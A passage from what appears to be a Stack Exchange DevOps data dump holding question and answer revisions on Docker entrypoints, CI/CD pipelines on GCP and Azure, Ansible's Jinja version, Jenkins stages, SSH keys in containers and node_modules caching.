replaces the default `/bin/sh` command with an `echo hello` command for that specific container.&#xD;&#xA;&#xD;&#xA;There's also **`ENTRYPOINT`** which defines the entrypoint for your image. When you define an entrypoint, any value for `CMD` gets passed as arguments to the entrypoint when starting your container (a container is only started with a single process as pid 1 and exits when that process exits).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Shell vs Exec syntax:** Note that each of these accepts a command to run in two forms, the shell/string form, and the exec/json form. The shell form is anything that isn't a json list, and the result command is run as `/bin/sh -c &quot;$your_string_here&quot;`. A shell is useful for IO redirection, chaining commands, and variable expansion. But a shell will also intercept signals which can cause issues when the container is stopped. The exec form runs your command directly in the OS without a shell, which is better for signals, but lacking all the other shell features. When you chain an entrypoint and cmd together, you almost always want the exec syntax since `/bin/sh -c` only accepts one argument. It's common to run a shell script but have the last command run be an `exec` which replaces the shell. E.g. a common entrypoint structure is:&#xD;&#xA;&#xD;&#xA;Dockerfile:&#xD;&#xA;&#xD;&#xA;    ENTRYPOINT [&quot;/entrypoint.sh&quot;]&#xD;&#xA;    CMD [&quot;server&quot;, &quot;arg1&quot;, &quot;arg2&quot;]&#xD;&#xA;&#xD;&#xA;entrypoint.sh:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    # ... steps to setup the host, make configs, fix permissions, copy files, etc ...&#xD;&#xA;    # ...&#xD;&#xA;    # now run the value of CMD, replacing this shell as pid 1:&#xD;&#xA;    exec &quot;$@&quot;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24214" PostHistoryTypeId="5" PostId="8308" RevisionGUID="34f9025a-7203-4e3b-8f3d-fb06573da4a1" CreationDate="2019-06-06T01:02:11.893" UserId="7730" Comment="added 215 characters in body" Text="TL;DR: `RUN` performs the step during the image build, `CMD` is the default command when you start a container. If you define `CMD` and then start your container with a different command (e.g. `docker run $my_image /bin/bash`), you'll never see it run since you replaced your `chmod` command with an empty `/bin/bash` command.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The detailed explanation:&#xD;&#xA;&#xD;&#xA;The **`RUN`** command creates a temporary container based off of the previous step of the build, executes your selected command, and when the command returns it captures the filesystem changes as a new layer of your image. Run is the equivalent of doing a `docker run` + `docker commit` to generate your image, but with a reproducible process.&#xD;&#xA;&#xD;&#xA;The **`CMD`** command replaces the current value of the image metadata for the `command` value that you can see when you inspect the image. You can only have one value for `CMD` for your image. You can also easily override the value of the image command by passing any string after the image name, e.g. `docker run busybox echo hello` replaces the default `/bin/sh` command with an `echo hello` command for that specific container.&#xD;&#xA;&#xD;&#xA;There's also **`ENTRYPOINT`** which defines the entrypoint for your image. When you define an entrypoint, any value for `CMD` gets passed as arguments to the entrypoint when starting your container (a container is only started with a single process as pid 1 and exits when that process exits).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Shell vs Exec syntax:** Note that each of these accepts a command to run in two forms, the shell/string form, and the exec/json form. The shell form is anything that isn't a json list, and the result command is run as `/bin/sh -c &quot;$your_string_here&quot;`. A shell is useful for IO redirection, chaining commands, and variable expansion. But a shell will also intercept signals which can cause issues when the container is stopped. The exec form runs your command directly in the OS without a shell, which is better for signals, but lacking all the other shell features. When you chain an entrypoint and cmd together, you almost always want the exec syntax since `/bin/sh -c` only accepts one argument. It's common to run a shell script but have the last command run be an `exec` which replaces the shell. E.g. a common entrypoint structure is:&#xD;&#xA;&#xD;&#xA;Dockerfile:&#xD;&#xA;&#xD;&#xA;    ENTRYPOINT [&quot;/entrypoint.sh&quot;]&#xD;&#xA;    CMD [&quot;server&quot;, &quot;arg1&quot;, &quot;arg2&quot;]&#xD;&#xA;&#xD;&#xA;entrypoint.sh:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    # ... steps to setup the host, make configs, fix permissions, copy files, etc ...&#xD;&#xA;    # ...&#xD;&#xA;    # now run the value of CMD, replacing this shell as pid 1:&#xD;&#xA;    exec &quot;$@&quot;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24216" PostHistoryTypeId="2" PostId="8309" RevisionGUID="dfa95a25-7789-443f-8410-9f771ce8226e" CreationDate="2019-06-06T04:14:10.710" UserId="15303" Text="I have a containerized web application on GitHub and I will like to build a ci/cd pipeline on GCP consisting a trigger stage, a built stage and a deployment stage and be able to do continuous integration and deployment. What GCP tools can I use for this task? I have successfully accomplished the same task on AWS with Jenkins, where my GitHub commit triggers a multi stage pipeline and deploy the App to ec2. Thanks in advance...&#xA;&#xA;Attached is what I have been able to do on AWS&#xA;[![AWS cicd pipeline ][1]][1] &#xA;[![deployment][2]][2]&#xA;&#xA;&#xA;  [1]: https://i.stack.imgur.com/VznLD.jpg&#xA;  [2]: https://i.stack.imgur.com/1IibZ.jpg" ContentLicense="CC BY-SA 4.0" />
  <row Id="24217" PostHistoryTypeId="1" PostId="8309" RevisionGUID="dfa95a25-7789-443f-8410-9f771ce8226e" CreationDate="2019-06-06T04:14:10.710" UserId="15303" Text="Building a ci/cd pipeline on GCP" ContentLicense="CC BY-SA 4.0" />
  <row Id="24218" PostHistoryTypeId="3" PostId="8309" RevisionGUID="dfa95a25-7789-443f-8410-9f771ce8226e" CreationDate="2019-06-06T04:14:10.710" UserId="15303" Text="&lt;docker&gt;&lt;continuous-integration&gt;&lt;automation&gt;&lt;google-cloud-platform&gt;&lt;gcp&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24219" PostHistoryTypeId="2" PostId="8310" RevisionGUID="02b5d8fa-10b3-41dc-b131-fcfe3b88051c" CreationDate="2019-06-06T06:10:54.960" UserId="15305" Text="We are trying to set up a CI pipeline for building several Docker containers and deploying them to a container registry using Azure DevOps. Our code, the Docker and configuration files all reside in a Azure git repository and building those containers just works fine.&#xD;&#xA;&#xD;&#xA;However, we have to build one container around a tomcat app that we only have as a .war file that is approx. 20Mb in size. We do not want to commit this file to our repository (we are not convinced that using git LFS would solve the problem because of experiences in other projects), but instead keep it on an azure storage account (either blob or file share storage).&#xD;&#xA;&#xD;&#xA;My problems start when I want to include a task to download this file into the build environment as a task in the build pipeline. Getting a file that is openly accessible is easy with either a powershell or bash script. However, in order to download from the storage account you first need to authenticate and I can not find a good way to achieve this." ContentLicense="CC BY-SA 4.0" />
  <row Id="24220" PostHistoryTypeId="1" PostId="8310" RevisionGUID="02b5d8fa-10b3-41dc-b131-fcfe3b88051c" CreationDate="2019-06-06T06:10:54.960" UserId="15305" Text="How to get dependency from file share in Azure DevOps pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="24221" PostHistoryTypeId="3" PostId="8310" RevisionGUID="02b5d8fa-10b3-41dc-b131-fcfe3b88051c" CreationDate="2019-06-06T06:10:54.960" UserId="15305" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24222" PostHistoryTypeId="2" PostId="8311" RevisionGUID="a8ff1efa-aa92-404b-9133-44af9f608755" CreationDate="2019-06-06T06:23:43.267" UserId="13304" Text="Should I create single `checkout` stage or multiple stages like `checkout scripts`, `checkout code`, `checkout something else`?&#xD;&#xA;&#xD;&#xA;How should I decide on what piece of logic to put into separate stage?&#xD;&#xA;Or are stages just a pipeline visualization tool?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24223" PostHistoryTypeId="1" PostId="8311" RevisionGUID="a8ff1efa-aa92-404b-9133-44af9f608755" CreationDate="2019-06-06T06:23:43.267" UserId="13304" Text="What is the optimal size of a Jenkins Pipeline Stage?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24224" PostHistoryTypeId="3" PostId="8311" RevisionGUID="a8ff1efa-aa92-404b-9133-44af9f608755" CreationDate="2019-06-06T06:23:43.267" UserId="13304" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24225" PostHistoryTypeId="4" PostId="8249" RevisionGUID="8924df90-b99a-49f2-96ef-8cf4e91f560c" CreationDate="2019-06-06T08:49:13.890" UserId="15187" Comment="edited title" Text="What does 1 vcpu mean precisely/exactly?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24229" PostHistoryTypeId="2" PostId="8313" RevisionGUID="f5ee7a42-ee6b-4bf8-ba65-1886567de272" CreationDate="2019-06-06T10:44:31.507" UserId="6341" Text="Steps for download are described here: [How To Download Azure BLOB Storage Using Azure PowerShell][1]. According to this article, you have to use the connection string from the Access keys page. You can create your custom secret variable ([Variables][2]) and save a connection string in your new variable. Then in your ps scripts you can reference to connection string (stored in variable) with &quot;$env:VARIABLE_NAME&quot;.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.c-sharpcorner.com/article/how-to-download-azure-blob-storage-using-azure-powershell/&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/devops/pipelines/process/variables?view=azure-devops&amp;tabs=yaml%2Cbatch" ContentLicense="CC BY-SA 4.0" />
  <row Id="24230" PostHistoryTypeId="2" PostId="8314" RevisionGUID="7c8e3180-02fe-42ac-b88c-c37223617998" CreationDate="2019-06-06T12:36:11.693" UserId="3" Text="I'm using Ansible 2.8.0 (`ansible --version` installed by `brew` on macOS) which is using Jinja 2.10.&#xD;&#xA;&#xD;&#xA;I've tried to downgrade Jinja to 2.8 via `pip3 install jinja2==2.8`, and I can confirm the right version with `pip3 list`, but Ansible is still using Jinja 2.10 (verified by [these steps](https://stackoverflow.com/a/49045145/55075)). It seems it's using different Python's `site-packages` folder.&#xD;&#xA;&#xD;&#xA;I'd like to downgrade Jinja due to [a bug](https://github.com/ansible/ansible/issues/51727), so I'd like to test Ansible using older version of Jinja.&#xD;&#xA;&#xD;&#xA;How do I downgrade Jinja used by Ansible, ideally without downgrading Ansible it-self?&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;    $  ansible --version&#xD;&#xA;    ansible 2.8.0&#xD;&#xA;      config file = /Users/kenorb/.ansible.cfg&#xD;&#xA;      configured module search path = ['/Users/kenorb/.ansible/plugins/modules', '/usr/share/ansible/plugins/modules']&#xD;&#xA;      ansible python module location = /usr/local/Cellar/ansible/2.8.0/libexec/lib/python3.7/site-packages/ansible&#xD;&#xA;      executable location = /usr/local/bin/ansible&#xD;&#xA;      python version = 3.7.3 (default, Mar 27 2019, 09:23:15) [Clang 10.0.1 (clang-1001.0.46.3)]&#xD;&#xA;    $  pip3 --version&#xD;&#xA;    pip 19.0.3 from /usr/local/lib/python3.7/site-packages/pip (python 3.7)&#xD;&#xA;    $  brew info ansible&#xD;&#xA;    ansible: stable 2.8.0 (bottled), HEAD&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24231" PostHistoryTypeId="1" PostId="8314" RevisionGUID="7c8e3180-02fe-42ac-b88c-c37223617998" CreationDate="2019-06-06T12:36:11.693" UserId="3" Text="How to downgrade Jinja for Ansible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24232" PostHistoryTypeId="3" PostId="8314" RevisionGUID="7c8e3180-02fe-42ac-b88c-c37223617998" CreationDate="2019-06-06T12:36:11.693" UserId="3" Text="&lt;ansible&gt;&lt;python&gt;&lt;jinja&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24233" PostHistoryTypeId="5" PostId="5934" RevisionGUID="bb440909-ba32-4466-94ee-e441bcb303b7" CreationDate="2019-06-06T12:38:18.900" UserId="3" Comment="Removes tag from the title" Text="I have set up Jenkins version (ver. 2.155).&#xD;&#xA;&#xD;&#xA;post adding plugin, i need to restart Jenkins but &quot;Restart Jenkins&quot; tab or link not working. I don't find my [] checkbox to check/tic click on arrow is not working (Refer image). Any help will be appreciated &#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/u7kfA.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="24234" PostHistoryTypeId="4" PostId="5934" RevisionGUID="bb440909-ba32-4466-94ee-e441bcb303b7" CreationDate="2019-06-06T12:38:18.900" UserId="3" Comment="Removes tag from the title" Text="No Checkbox to&quot; Restart Jenkins when installation is complete&quot;.Unable to restart Jenkins post plugin download" ContentLicense="CC BY-SA 4.0" />
  <row Id="24235" PostHistoryTypeId="6" PostId="8314" RevisionGUID="869f231a-77d6-4144-b1dd-da1c27b104f9" CreationDate="2019-06-06T12:42:09.397" UserId="3" Comment="edited tags" Text="&lt;ansible&gt;&lt;python&gt;&lt;jinja&gt;&lt;macos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24236" PostHistoryTypeId="2" PostId="8315" RevisionGUID="dfd94b02-0e5f-45ed-ba3c-9b547fe0b255" CreationDate="2019-06-06T12:45:11.117" UserId="3" Text="Since Ansible was installed via Homebrew on macOS, the workaround is to install Ansible using Pip.&#xD;&#xA;&#xD;&#xA;    $ brew remove ansible&#xD;&#xA;    $ pip3 install ansible&#xD;&#xA;    $  pip3 list | grep -e ansible -e Jinja2&#xD;&#xA;    ansible      2.8.0  &#xD;&#xA;    Jinja2       2.8    &#xD;&#xA;    $  ansible-playbook check_jinja.yaml -v&#xD;&#xA;    TASK [jinja_version]&#xD;&#xA;    ok: [localhost] =&gt; {&quot;changed&quot;: false, &quot;msg&quot;: &quot;2.8&quot;}&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24240" PostHistoryTypeId="2" PostId="8317" RevisionGUID="9151a06c-e07e-4a30-bdb6-957222b96c3a" CreationDate="2019-06-06T16:02:49.187" UserId="12793" Text="Is there a way to modify what branch a service hook is monitoring through a Jenkins job?  &#xD;&#xA;&#xD;&#xA;Our build jobs within Jenkins are triggered via service hooks within TFS.  When we branch, inevitably we forgot to go over to TFS and update the service hook branch.   Our thought was to have a Jenkins job, create the new branch and then perform some magic to update the service hook subscription with the new branch.  &#xD;&#xA;&#xD;&#xA;So far our research has come up with nothing. " ContentLicense="CC BY-SA 4.0" />
  <row Id="24241" PostHistoryTypeId="1" PostId="8317" RevisionGUID="9151a06c-e07e-4a30-bdb6-957222b96c3a" CreationDate="2019-06-06T16:02:49.187" UserId="12793" Text="Update Service Hooks in TFS2015 through Jenkins Job" ContentLicense="CC BY-SA 4.0" />
  <row Id="24242" PostHistoryTypeId="3" PostId="8317" RevisionGUID="9151a06c-e07e-4a30-bdb6-957222b96c3a" CreationDate="2019-06-06T16:02:49.187" UserId="12793" Text="&lt;jenkins&gt;&lt;automation&gt;&lt;tfs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24243" PostHistoryTypeId="50" PostId="8032" RevisionGUID="be7da2a3-630c-4aba-995a-d3aad53b6b92" CreationDate="2019-06-06T17:03:45.380" UserId="-1" />
  <row Id="24244" PostHistoryTypeId="50" PostId="5901" RevisionGUID="fa8daaf3-9b26-4e08-93ad-e6bbcbee320e" CreationDate="2019-06-06T19:04:45.663" UserId="-1" />
  <row Id="24248" PostHistoryTypeId="2" PostId="8319" RevisionGUID="c563273a-256d-4870-8aef-4b8796ba3923" CreationDate="2019-06-06T19:42:23.647" UserId="210" Text="[Single responsibility principle (SRP)][1]&#xD;&#xA;&#xD;&#xA;&gt; Martin defines a responsibility as a reason to change, and concludes&#xD;&#xA;&gt; that a class or module should have one, and only one, reason to be&#xD;&#xA;&gt; changed (i.e. rewritten). As an example, consider a module that&#xD;&#xA;&gt; compiles and prints a report. Imagine such a module can be changed for&#xD;&#xA;&gt; two reasons. First, the content of the report could change. Second,&#xD;&#xA;&gt; the format of the report could change. These two things change for&#xD;&#xA;&gt; very different causes; one substantive, and one cosmetic. The single&#xD;&#xA;&gt; responsibility principle says that these two aspects of the problem&#xD;&#xA;&gt; are really two separate responsibilities, and should therefore be in&#xD;&#xA;&gt; separate classes or modules. It would be a bad design to couple two&#xD;&#xA;&gt; things that change for different reasons at different times.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The reason it is important to keep a class focused on a single concern&#xD;&#xA;&gt; is that it makes the class more robust. Continuing with the foregoing&#xD;&#xA;&gt; example, if there is a change to the report compilation process, there&#xD;&#xA;&gt; is greater danger that the printing code will break if it is part of&#xD;&#xA;&gt; the same class.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[5-15 lines][2]&#xD;&#xA;&#xD;&#xA;&gt; Functions should normally be short, between 5-15 lines is my personal&#xD;&#xA;&gt; &quot;rule of thumb&quot; when coding in Java or C#. This is a good size for&#xD;&#xA;&gt; several reasons:&#xD;&#xA;&gt; &#xD;&#xA;&gt; * It fits easily on your screen without scrolling&#xD;&#xA;&gt; * It's about the conceptual size that you can hold in your head&#xD;&#xA;&gt; * It's meaningful enough to require a function in its own right (as a standalone, meaningful chunk of logic)&#xD;&#xA;&gt; * A function smaller than 5 lines is a hint that you are perhaps breaking the code up too much (which makes it harder to read /&#xD;&#xA;&gt; understand if you need to navigate between functions). Either that or&#xD;&#xA;&gt; your're forgetting your special cases / error handling!&#xD;&#xA;&#xD;&#xA;**Personal view**&#xD;&#xA;&#xD;&#xA;I have the SRP in mind when creating Jenkins stages. This implies that I create a separate stage for checkout, build and publish for example. If a stage becomes too large, i.e. longer than 15 lines, then I create a script and run the script in this stage. One of the benefits is readability, possible to apply unit testing on the script and CI agnostic, i.e. migration to another CI would be possible as well.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Single_responsibility_principle&#xD;&#xA;  [2]: https://softwareengineering.stackexchange.com/a/133406/218283" ContentLicense="CC BY-SA 4.0" />
  <row Id="24249" PostHistoryTypeId="5" PostId="8319" RevisionGUID="2a912d40-6289-4dd7-b8f1-006dc8be75ec" CreationDate="2019-06-06T19:48:38.930" UserId="210" Comment="added 583 characters in body" Text="[Single responsibility principle (SRP)][1]&#xD;&#xA;&#xD;&#xA;&gt; Martin defines a responsibility as a reason to change, and concludes&#xD;&#xA;&gt; that a class or module should have one, and only one, reason to be&#xD;&#xA;&gt; changed (i.e. rewritten). As an example, consider a module that&#xD;&#xA;&gt; compiles and prints a report. Imagine such a module can be changed for&#xD;&#xA;&gt; two reasons. First, the content of the report could change. Second,&#xD;&#xA;&gt; the format of the report could change. These two things change for&#xD;&#xA;&gt; very different causes; one substantive, and one cosmetic. The single&#xD;&#xA;&gt; responsibility principle says that these two aspects of the problem&#xD;&#xA;&gt; are really two separate responsibilities, and should therefore be in&#xD;&#xA;&gt; separate classes or modules. It would be a bad design to couple two&#xD;&#xA;&gt; things that change for different reasons at different times.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The reason it is important to keep a class focused on a single concern&#xD;&#xA;&gt; is that it makes the class more robust. Continuing with the foregoing&#xD;&#xA;&gt; example, if there is a change to the report compilation process, there&#xD;&#xA;&gt; is greater danger that the printing code will break if it is part of&#xD;&#xA;&gt; the same class.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[5-15 lines][2]&#xD;&#xA;&#xD;&#xA;&gt; Functions should normally be short, between 5-15 lines is my personal&#xD;&#xA;&gt; &quot;rule of thumb&quot; when coding in Java or C#. This is a good size for&#xD;&#xA;&gt; several reasons:&#xD;&#xA;&gt; &#xD;&#xA;&gt; * It fits easily on your screen without scrolling&#xD;&#xA;&gt; * It's about the conceptual size that you can hold in your head&#xD;&#xA;&gt; * It's meaningful enough to require a function in its own right (as a standalone, meaningful chunk of logic)&#xD;&#xA;&gt; * A function smaller than 5 lines is a hint that you are perhaps breaking the code up too much (which makes it harder to read /&#xD;&#xA;&gt; understand if you need to navigate between functions). Either that or&#xD;&#xA;&gt; your're forgetting your special cases / error handling!&#xD;&#xA;&#xD;&#xA;**Personal view**&#xD;&#xA;&#xD;&#xA;I have the SRP in mind when creating Jenkins stages. This implies that I create a separate stage for checkout, build and publish for example. If a stage becomes too large, i.e. longer than 15 lines, then I create a script and run the script in this stage. One of the benefits is readability, possible to apply unit testing on the script and CI agnostic, i.e. migration to another CI would be possible as well.&#xD;&#xA;&#xD;&#xA;[Example][3]&#xD;&#xA;&#xD;&#xA;&gt;     pipeline {&#xD;&#xA;&gt;         agent any&#xD;&#xA;&gt;     &#xD;&#xA;&gt;         stages {&#xD;&#xA;&gt;             stage('Build') {&#xD;&#xA;&gt;                 steps {&#xD;&#xA;&gt;                     echo 'Building..'&#xD;&#xA;&gt;                 }&#xD;&#xA;&gt;             }&#xD;&#xA;&gt;             stage('Test') {&#xD;&#xA;&gt;                 steps {&#xD;&#xA;&gt;                     echo 'Testing..'&#xD;&#xA;&gt;                 }&#xD;&#xA;&gt;             }&#xD;&#xA;&gt;             stage('Deploy') {&#xD;&#xA;&gt;                 steps {&#xD;&#xA;&gt;                     echo 'Deploying....'&#xD;&#xA;&gt;                 }&#xD;&#xA;&gt;             }&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;     }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Single_responsibility_principle&#xD;&#xA;  [2]: https://softwareengineering.stackexchange.com/a/133406/218283&#xD;&#xA;  [3]: https://jenkins.io/doc/book/pipeline/jenkinsfile/" ContentLicense="CC BY-SA 4.0" />
  <row Id="24250" PostHistoryTypeId="2" PostId="8320" RevisionGUID="187b0d1e-8ef5-4e8a-bb40-1d3832da65b1" CreationDate="2019-06-06T22:46:27.190" UserId="6579" Text="SikuliX may fit your needs:&#xD;&#xA;&#xD;&#xA;&quot;SikuliX automates anything you see on the screen of your desktop computer running Windows, Mac or some Linux/Unix. It uses image recognition powered by OpenCV to identify GUI components and can act on them with mouse and keyboard actions. This is handy in cases when there is no easy access to a GUI's internals or the source code of the application or web page you want to act on&quot;&#xD;&#xA;&#xD;&#xA;https://github.com/RaiMan/SikuliX1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24252" PostHistoryTypeId="2" PostId="8321" RevisionGUID="65921ef8-5efe-4876-a43c-b21e116c7d71" CreationDate="2019-06-07T03:16:09.367" UserId="15326" Text="In the CodeBuild &quot;Artifacts&quot; configuration, there is an &quot;Add Artifact&quot; button.&#xD;&#xA;&#xD;&#xA;You need to click that and reference your secondary artifact to get it to upload to S3 as well." ContentLicense="CC BY-SA 4.0" />
  <row Id="24253" PostHistoryTypeId="50" PostId="8024" RevisionGUID="5f9cc9ae-b07e-471e-9c7e-2432a7896529" CreationDate="2019-06-07T05:01:35.180" UserId="-1" />
  <row Id="24254" PostHistoryTypeId="50" PostId="5907" RevisionGUID="48b939f7-e84e-415b-a47a-2f4d80857218" CreationDate="2019-06-07T06:01:21.140" UserId="-1" />
  <row Id="24255" PostHistoryTypeId="2" PostId="8322" RevisionGUID="9e220e66-872c-4272-a649-1580d1bb5238" CreationDate="2019-06-07T09:12:39.777" UserId="10201" Text="I'm working on a container that uses Git to interact with some git repositories. But, to use Git it has to use the SSH keys that are stored on the Windows host machine. I tried two of the ways I could think of and both of them seem to have a problem.&#xD;&#xA;&#xD;&#xA;1. I tried mounting the location of the keys to /root/.ssh but the git flashes the error for insecure keys. The reason is that the permission of the keys is not 600. I tried running an entrypoint script that changes the permission of all the files inside /root/.ssh to 600 but, the permission doesn't change probably because the underlying filesystem is NTFS.&#xD;&#xA;&#xD;&#xA;2. I tried mounting the location of keys to a random location inside the container (say, /tmp) and tried copying the content of /tmp to /root/.ssh using the entrypoint script and change their permission to 600 but, in this case, if the container generates new keys, these keys will not be saved on the host and will be lost when the container dies." ContentLicense="CC BY-SA 4.0" />
  <row Id="24256" PostHistoryTypeId="1" PostId="8322" RevisionGUID="9e220e66-872c-4272-a649-1580d1bb5238" CreationDate="2019-06-07T09:12:39.777" UserId="10201" Text="Mounting ssh keys on ephemeral container from a Windows host" ContentLicense="CC BY-SA 4.0" />
  <row Id="24257" PostHistoryTypeId="3" PostId="8322" RevisionGUID="9e220e66-872c-4272-a649-1580d1bb5238" CreationDate="2019-06-07T09:12:39.777" UserId="10201" Text="&lt;docker&gt;&lt;git&gt;&lt;ssh&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24258" PostHistoryTypeId="6" PostId="8266" RevisionGUID="d7e8d55b-2645-4d27-9085-547d788fe52e" CreationDate="2019-06-07T10:51:29.770" UserId="15202" Comment="Add the SRE tag, as the question explicitly references the SRE Workbook." Text="&lt;cloud&gt;&lt;sre&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24259" PostHistoryTypeId="24" PostId="8266" RevisionGUID="d7e8d55b-2645-4d27-9085-547d788fe52e" CreationDate="2019-06-07T10:51:29.770" Comment="Proposed by 15202 approved by 40, 15207 edit id of 1016" ContentLicense="CC BY-SA 4.0" />
  <row Id="24277" PostHistoryTypeId="2" PostId="8328" RevisionGUID="d7f35b7f-722e-47d4-96e2-e0fddecd0912" CreationDate="2019-06-07T16:26:47.103" UserId="15340" Text="I am trying to configure a secured Jenkins server in a company network where GitLab CE is already running. I have set the access control and the authorization system in Jenkins via the GitLab Authentication Plugin and a trusted application in Jenkins with admin rights and API and read_repo scopes.&#xD;&#xA;&#xD;&#xA;The authentication is working great, and users are automatically logged into Jenkins with their GitLab's username as soon as they get into the Jenkins server portal.&#xD;&#xA;&#xD;&#xA;However, I have found some trouble to set the GitLab connection that should enable pulling from GitLab and reporting build status back to GitLab for everybody without the need of defining individual credentials or API tokens. In other words, I'd like to avoid using users or admins credentials, personal API tokens or deploy keys/tokens.&#xD;&#xA;&#xD;&#xA;I understand that considering that my admin application in GitLab has API and read_repository scopes, I should be able to do so with the client id and secret I have, but I cannot find the way to make it work.&#xD;&#xA;&#xD;&#xA;My questions are:&#xD;&#xA;&#xD;&#xA; 1. Do I need any additional scope on top of API and read_repository in my application in GitLab?&#xD;&#xA; 2. In Jenkins, the GitLab connections option under Configure System asks me for an API token. What should I configure there if I don't have/want to use an admin personal API token? I understand the GitLab application should be able to generate (dynamically?) an API token for every logged user or impersonate him somehow via this authentication process." ContentLicense="CC BY-SA 4.0" />
  <row Id="24278" PostHistoryTypeId="1" PostId="8328" RevisionGUID="d7f35b7f-722e-47d4-96e2-e0fddecd0912" CreationDate="2019-06-07T16:26:47.103" UserId="15340" Text="Set global repository access to GitLab via GitLab connections and Gitlab OAuth" ContentLicense="CC BY-SA 4.0" />
  <row Id="24279" PostHistoryTypeId="3" PostId="8328" RevisionGUID="d7f35b7f-722e-47d4-96e2-e0fddecd0912" CreationDate="2019-06-07T16:26:47.103" UserId="15340" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;gitlab&gt;&lt;api&gt;&lt;authentication&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24285" PostHistoryTypeId="50" PostId="8044" RevisionGUID="f897c307-3bce-4347-bac4-1d21d19058d4" CreationDate="2019-06-08T09:03:15.380" UserId="-1" />
  <row Id="24286" PostHistoryTypeId="2" PostId="8329" RevisionGUID="6b856fd8-8e65-411b-9e0b-90c4b9bc83e0" CreationDate="2019-06-08T14:21:01.630" UserId="15351" Text="I'm using Jenkins Multibranch Pipeline to handle my CI/CD and I'd like to know if is there a way to cache my `node_modules` folder?&#xD;&#xA;&#xD;&#xA;Every time I push a branch, I execute `yarn` to install the dependencies. when is `master` branch, it took 1s to execute this step because it's already cached. Otherwise, when is a new branch, `yarn` took 2 minutes because is a new environment. Is there a way to cache `node_modules` globally to be used by all branches/environments?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24287" PostHistoryTypeId="1" PostId="8329" RevisionGUID="6b856fd8-8e65-411b-9e0b-90c4b9bc83e0" CreationDate="2019-06-08T14:21:01.630" UserId="15351" Text="How to cache node_modules folder when using Jenkins Multibranch Pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="24288" PostHistoryTypeId="3" PostId="8329" RevisionGUID="6b856fd8-8e65-411b-9e0b-90c4b9bc83e0" CreationDate="2019-06-08T14:21:01.630" UserId="15351" Text="&lt;jenkins&gt;&lt;node.js&gt;&lt;cache&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24289" PostHistoryTypeId="50" PostId="8071" RevisionGUID="c615ec65-cbae-462f-bcce-b2f7f8efbb99" CreationDate="2019-06-08T17:02:21.077" UserId="-1" />
  <row Id="24290" PostHistoryTypeId="2" PostId="8330" RevisionGUID="b46c9dac-aec7-46d4-8326-5f256a58a2ea" CreationDate="2019-06-08T17:36:57.447" UserId="293" Text="At the other end of sikulli is [AutoIt][1], it supports record play and interaction by object ID'S. &#xA;&#xA;As a side note testing through the GUI is not really efficient, scalable or reliabile, consider testing &quot;under the GUI&quot; if possible and leave only the most necessary things to it. &#xA;&#xA;  [1]: https://www.autoitscript.com/site/" ContentLicense="CC BY-SA 4.0" />
  <row Id="24291" PostHistoryTypeId="2" PostId="8331" RevisionGUID="d747a25d-2d7a-4bc3-9485-59e9c089e8c2" CreationDate="2019-06-08T17:37:22.527" UserId="15354" Text="I think you should use split tunnel in order to let client resolve to the public DNS. Or add the recode on the hosts file of OpenVPN server to let it resolve the record." ContentLicense="CC BY-SA 4.0" />
  <row Id="24292" PostHistoryTypeId="2" PostId="8332" RevisionGUID="ddc8698d-bc14-448a-88e9-6723fe6916dc" CreationDate="2019-06-08T18:03:07.123" UserId="4115" Text="It is possible to do this (not with any built-in steps; you essentially have to either use a global cache or write your own caching tool), but I do not recommend it.  When I've tried this in the past, I often ran into race conditions.  For example, one build would write to the cache while another build simultaneously reads from the cache, or two builds would write to the cache simultaneously, etc.  I got a lot of builds with corrupted modules as a result.&#xD;&#xA;&#xD;&#xA;Caches do not have these kinds of race conditions when limited to a single job (or in this case, a single branch for a multibranch job) because Jenkins can be configured not to run multiple builds of one job simultaneously.  If you take extra steps to ensure that all of the jobs which might access the cache can't run simultaneously, then you could probably get away with a shared cache.  But at that point, you're likely to lose the added speed benefit of sharing the 